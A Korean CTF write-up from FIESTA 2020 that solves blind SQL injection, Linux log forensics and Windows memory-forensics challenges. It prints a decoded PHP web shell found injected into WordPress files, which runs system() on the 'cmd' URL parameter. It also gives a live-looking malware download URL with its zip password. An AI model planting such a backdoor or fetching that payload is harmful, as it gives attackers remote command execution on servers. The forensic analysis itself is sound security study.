[FIESTA 2020] N0Named Team(bjloed) Write-Up(일부, 수정중단)
CTF Write-Up

[FIESTA 2020] N0Named Team(bjloed) Write-Up(일부, 수정중단)

안녕하세요. 이번에 팀명 N0Named로 FIESTA2020에 참가했습니다.

제가 맡은 문제에 풀이에 대해서 Write-Up을 작성 해보겠습니다.

 

Auditor 1번

Blind SQL Injection 문제다.

글을 올리고, 파일을 다운로드 받는 부분에서 SQL Injection이 발생한다.

 

해당 쿼리문 뒤에 참 값을 넣어주면 정상적으로 파일이 다운로드 받아지고, 거짓이 들어갈 경우, 파일이 다운로드 되지 않는 다는 점을 이용해 Blind SQL Injection을 수행할 수 있었다.

사용한 최종 페이로드는 다음과 같다.

table name과 column name은 Blind SQLi를 안다면 충분히 구할 수 있을 것이라고 생각한다.

Forenlog 1번

마지막으로 해커가 침투한 IP와 시간을 찾는 문제다.

리눅스에는 lastlog라는 명령어가 존재한다. lastlog는 전체 사용자 또는 특정 사용자의 마지막 로그인 기록을 확인할 수 있다. 위치는 /var/log/lastlog.

FTK Imager로 이미지를 열어, /var/log/lastlog를 확인해봤다.

3_pts/2로 원격으로 접속했고, IP는 10.211.55.2다.

다음은 /var/log/auth.log에서 찾은 10.211.55.2 사용자의 로그인 성공 기록이다.

Aug 12 16:48:06 prob sshd[9305]: Accepted password for prob from 10.211.55.2 port 56610 ssh2

결론은, 공격에 성공한 IP: 10.211.55.2, Time: 16:48:06이다.

FIESTA2020{10.211.55.2_16:48:06}으로 Flag 인증에 성공했다.

Forenlog 2번

해커가 설치한 백도어의 절대 경로를 나열하는 문제다.

리눅스에는 history라는 명령어가 존재한다. history는 쉘에서 사용한 명령을 조회할 수 있다.

history의 로그는 각 유저의 ~/.bash_history 파일에 저장된다. 이 파일을 조회하면 해커가 쉘에서 무슨 명령어를 사용했는지, 알 수 있을 것이다. FTK Imager ~/.bash_history 파일을 열어봤다.

wget을 이용해, rootbackdoor을 다운로드하고, 원하는 장소에 cp를 통해, 복사한 후, x,s 권한을 줬음을 알 수 있다. Forenlog-2 문제는 백도어의 절대경로를 알아내는 문제이므로, 해커가 rootbackdoor을 복사한 위치를 나열한다면 문제를 해결할 수 있다. ~/.bash_history에는 사용자가 명령어를 입력한 순서대로 저장되기 때문에, 문제에서 제시한, 나온 시간순으로 배열하시오는 굳이 신경 쓸 필요가 없다.

 

backdoor의 절대 경로를 순서대로 나열하면 다음과 같다.

/.backdoor => /home/.backdoor => /home/prob/.backdoor => /tmp/.backdoor =>

/var/.backdoor => /etc/.backdoor => /usr/.backdoor => /bin/.backdoor이다.

/.backdoor_/home/.backdoor_/home/prob/.backdoor_/tmp/.backdoor_/var/.backdoor_/etc/.backdoor_/usr/.backdoor_/bin/.backdoor sha1 해시값은 6e54d0ca548cd27dce66bf95f8aa87066d2e7ec6이다.

FIESTA2020{6e54d0ca548cd27dce66bf95f8aa87066d2e7ec6}으로 Flag 인증에 성공했다.

Forenlog 3번

해커가 RCE를 위해 설치한 백도어의 절대 경로를 알아내는 문제다.

Forenlog-2 문제를 해결할 때, ~/.bash_history를 보아하니, wordpress를 다운로드하였음을 알 수 있었다. mv 명령어를 이용해 wordpress /var/www/html로 옮겼고, apache 설정을 확인하니, /var/www/html root의 웹서버 기본 경로임을 확인했다. 또한, rootbackdoor2020 8 12일 약 오전 7 52쯤에 설치되었으므로, RCE를 위해 설치한 백도어는 2020 8 12일 이후나, 7 52분 이후에 설치했을 것으로 추측했다.

/var/www/html/wordpress/index.php의 내용이다. 사진에는 잘 보이지 않지만, eval 함수가 들어간 코드가 있음을 발견했다. 해당 Base64 문자열을 Decode 한 내용은 다음과 같다.

eval(

    (function($f, $h) {

        $d = explode("\x7c", $h);

        $b = preg_replace_callback("\x2f[\x30-\x39\x5d*\x2f", function($e) use($d) {

            if (isset($e[0])) {

                return (function($g, $h) {

                    $c = function($i, $j) {

                        return$i[$j];

                    };

                    return $h[$c($g, 0)];

                })($e, $d);

            }

        }, $f);

        return $b;

    })('?><?0 $1 = [\'\/\', \'\/2\/\', \'\/3\/4\/\', \'\/5\/\', \'\/6\/\', \'\/7\/\', \'\/8\/\', \'\/9\/\']; $10 = 11; 12($13 = 14 ; $15 < 16($17); $18++) { 19(20_21($22[$23] . \'.24\')) { 25($26[$27] . \'.28 \' . $_29[\'30\']); $31 = 32; 33; } } 34($35) 36($_37[\'38\']); ?>', 'php|a|home|home|prob|tmp|var|etc|usr|bin|b|1|for|c|0|c|count|a|c|if|file|exists|a|c|backdoor|system|a|c|backdoor|GET|cmd|b|0|break|if|b|system|GET|cmd|'));

 

마지막 부분에 문자열을 대입한 결과는 다음과 같다.

<?php

a = ['/', '/home/', '/home/prob/', '/tmp/', '/var/', '/etc/', '/usr/', '/bin/'];

b = 1;

for(c = 0 ; c < count(a); c++) {

if(file_exists(a[c] . '.backdoor')) {

system(a[c] . '.backdoor ' . $_GET['cmd']); b = 0; break;

}

}

if(b) system($_GET['cmd']);

?>

 

만약, 해당 경로에 .backdoor 파일이 존재한다면, /경로/.backdoor + $_GET[cmd]를 실행한다.

backdoor for RCE를 찾았으니, 이제 남은 파일을 찾는 일만 남았다. 추가로, 8 12일에 modified된 파일 3개를 발견하였다. (/var/www/html/wordpress/wp-includes/user.php, meta.php, media.php)

모두 동일한 코드가 삽입되어 있음을 확인했다. 그러므로, 4개의 backdoor for RCE가 존재함을 알 수 있다. 이제 찾은 파일들의 경로를 길이순, 사전 순으로 배열한 결과는 다음과 같다.

 

/var/www/html/wordpress/index.php_/var/www/html/wordpress/wp-includes/meta.php_

/var/www/html/wordpress/wp-includes/user.php_/var/www/html/wordpress/wp-includes/media.php이므로, 해당 문자열의 sha1 해시 값이 Flag이다.

FIESTA2020{63e9123c4a9120ef6fdd08fa19bdbe8fd6891a61}으로 Flag 인증에 성공했다.

Evidence 1번

악성코드 유포지 주소를 찾는 문제다.

먼저 메모리 덤프 분석을 위해, Volatility를 이용했고 다음 명령어를 이용해 운영체제를 추측할 수 있었다.

root@kali:~/fiesta/evi# vol.py -f Memory imageinfo

Suggested Profile(s) : Win10x64_17134, Win10x64_14393, Win10x64_10586, Win10x64_16299, Win2016x64_14393, Win10x64_17763, Win10x64_15063 (Instantiated with Win10x64_15063)가 나왔고, 운영체제를 Win10x64_17134라고 가정하고 분석을 진행하였다.

먼저 프로세스 확인을 위해 pstree 명령어를 사용했다.

root@kali:~/fiesta/evi# vol.py -f Memory --profile=Win10x64_17134 pstree

문제 풀이에 필요한 프로세스는 다음과 같다.

........ 0xffffb48b9f8c1080:utorrent_setup           5548   3036      3      0 2020-08-24 23:24:22 UTC+0000

......... 0xffffb48b9f675080:uTorrent.exe            6264   5548      3      0 2020-08-24 23:24:22 UTC+0000

.......... 0xffffb48b9f7e3080:installer.exe

utorrent_setup이라는 프로세스를 수상하게 여겼고, 이를 파일로 추출해봤다.

root@kali:~/fiesta/evi# vol.py -f Memory --profile=Win10x64_17134 procdump -p 5548 -D ./

Volatility Foundation Volatility Framework 2.6.1

Process(V)         ImageBase          Name                 Result

------------------ ------------------ -------------------- ------

0xffffb48b9f8c1080 0x0000000000400000 utorrent_setup       OK: executable.5548.exe

 

추출한 파일을 virustotal에 검사해봤다.

이제 유포지 주소를 찾기 위해 Volatility yarascan 옵션을 사용했다. yara-rulesutorrent_setup이라는 rule을 추가하였다.

root@kali:~/fiesta/evi# vol.py -f Memory --profile=Win10x64_17134 yarascan --yara-rules=utorrent_setup

http://54.180.66.177/utorrent_setup.zip이라는 주소를 알아낼 수 있었고, 직접 URL에 들어가 봤다.

파일이 다운로드됨과 동시에, Windows Defender에서 해당 파일에 바이러스가 발견되었다고 경고창이 나타났다. 이로써, 악성코드 유포지의 주소는 http://54.180.66.177/utorrent_setup.zip이다.

http://54.180.66.177/utorrent_setup.zip으로 Flag 인증에 성공했다.

Evidence 2번

공격에 사용된 CVE ID와 숨겨진 flag를 찾는 문제다.

Windows Defender 실시간 검사를 Off 하면, utorrent_setup.zip이 정상적으로 다운로드된다. zip 파일의 압축을 해제하려 하니, 패스워드가 걸려있었다. zip 파일의 패스워드는 Evidence-1에서 사용한 Volatility yarascan 옵션으로 찾을 수 있었다.

root@kali:~/fiesta/evi# vol.py -f Memory --profile=Win10x64_17134 yarascan --yara-rules=utorrent_setup

패스워드: 1q2w3e4r!!을 입력하면 성공적으로 압축이 해제된다.

압축을 해제하면 utorrent_setup.exe 파일을 얻을 수 있다. 해당 파일을 virustotal에 검사해봤다.

Dropped:Exploit, CVE-2020-0601이라는 CVE ID를 확인할 수 있다. 해당 CVE-2020-0601의 내용을 확인해봤더니, ECC 인증서의 유효성을 검사하는 부분에서 인증서의 검증이 미흡하여 발생하는 취약점으로, 해커가 Spoofing 된 인증서로 악의적인 실행 파일이나 웹 사이트에 서명하면 Windows가 신뢰할 수 있게 만드는 취약점이라고 한다.

Evidence-2 Flag CVE ID과 숨겨진 Flag를 찾는 문제이다. 앞서 찾은 CVE-2020-0601은 디지털 서명을 이용한 취약점이기 때문에, utorrent_auto.exe의 디지털 서명을 확인해보자고 생각했다. utorrent_auto.exe의 디지털 서명을 보면 Flag 값을 찾을 수 있다.

 

'CTF Write-Up' 카테고리의 다른 글

[UTCTF 2021] Partial Writeup  (0) 2021.03.15
[zer0pts CTF 2021] Partial Writeup  (2) 2021.03.07
[TrollCat CTF] Only Pwnable WriteUp  (0) 2021.02.07
[0x41414141 CTF] Only Pwnable Writeup  (2) 2021.01.25
[0xL4ugh CTF] Only Pwnable Writeup  (0) 2021.01.17